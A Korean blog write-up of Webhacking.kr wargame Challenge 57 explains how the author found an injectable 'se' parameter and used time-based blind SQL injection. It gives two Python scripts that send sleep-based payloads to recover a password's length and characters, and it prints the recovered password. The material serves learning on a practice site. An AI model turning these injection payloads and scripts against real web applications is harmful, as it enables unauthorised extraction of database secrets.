티스토리 뷰

Wargame/Webhacking.kr

Challenge 57

do9dark 2015. 9. 8. 20:18

message를 적을 수 있고 secret 옵션으로 yes, no가 있다.

그리고 Secret key를 입력할 수 있고 phps 소스 파일이 주어져 있다.



소스 파일을 보면 $_POST[pw]와 $secret_key가 같으면 문제를 풀 수 있고, $_GET[msg]와 $_GET[se] 값을 입력하면 $_SESSION[id]와 $secret_key와 함께 challenge57msg 테이블에 삽입이 된다.

msg를 입력할때 $_GET[se]는 yes를 선택하면 1, no를 선택하면 0의 값이 같이 삽입되는 것을 볼 수 있다.

$_GET[se] 값이 1일 경우에는 Done 표시가 발생하나 0일 경우에는 표시가 발생하지 않는 것을 알 수 있다.

(다른 방법으로 0을 입력해보면 1과 동일하게 Done 표시가 발생하여 공격에 이용할 수가 없었다.)



Blind SQL Injection을 할 수가 없어서 Time base SQL Injection을 하였다.

if() 함수를 이용하여 앞에 조건이 참일 경우 sleep(3)이 발생하도록 하였다.

시간 지연을 토대로 참과 거짓을 알아낼 수 있다.

?msg=m&se=if(length(pw)=10,sleep(3),0)

pw의 길이가 10일 때 응답이 지연되기 때문에 길이가 10인 것을 알 수 있다.


#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
import time
 
for i in range(0,30):
    url = "/challenge/web/web-34/index.php?msg=m&se=if(length(pw)="+str(i)+",sleep(3),0)"
    cookie = {'Cookie':'PHPSESSID=2h72rdfmeu9o6mlteu1rc2cla6'}
    try:
        st = time.time()
        conn = httplib.HTTPConnection('webhacking.kr')
        conn.request('GET',url,'',cookie)
        data = conn.getresponse().read()
        conn.close()
        et = time.time()
    except:
        print "exception"
        continue
 
    t = et - st
    print ("%d, %f") % (i,t)
    if(t > 2):
        print "length: {}".format(i)
        break
cs


동일한 방법으로 pw의 값을 파이썬 스크립트로 구할 수 있다.


#!/usr/bin/python
# -*- coding: utf-8 -*-
# do9dark
 
import httplib
import time
 
password = ''
 
for i in range(1,11):
    for j in range(32,127):
        url = "/challenge/web/web-34/index.php?msg=m&se=if(substr(pw,"+str(i)+",1)="+hex(j)+",sleep(9),0)"
        cookie = {'Cookie':'PHPSESSID=2h72rdfmeu9o6mlteu1rc2cla6'}
        try:
            st = time.time()
            conn = httplib.HTTPConnection('webhacking.kr')
            conn.request('GET',url,'',cookie)
            data = conn.getresponse().read()
            conn.close()
            et = time.time()
        except:
            print "exception"
            continue
 
        t = et - st
        print ("%d: %f") % (i,t)
        if(t > 9):
            print "{}: {} => {}".format(i,t,chr(j))
            password += chr(j)
            break
print password
cs


pw: 1058792495




'Wargame > Webhacking.kr' 카테고리의 다른 글

*** All Clear ***  (0) 2015.09.10
Challenge 61  (0) 2015.09.10
Challenge 60  (0) 2015.09.10
Challenge 59  (0) 2015.09.10
Challenge 58  (0) 2015.09.09
Challenge 56  (0) 2015.09.07
Challenge 55  (0) 2015.09.06
Challenge 54  (0) 2015.09.06
Challenge 53  (0) 2015.09.06
Challenge 52  (0) 2015.09.06
댓글
«   2024/03   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
링크
공지사항
Total
Today
Yesterday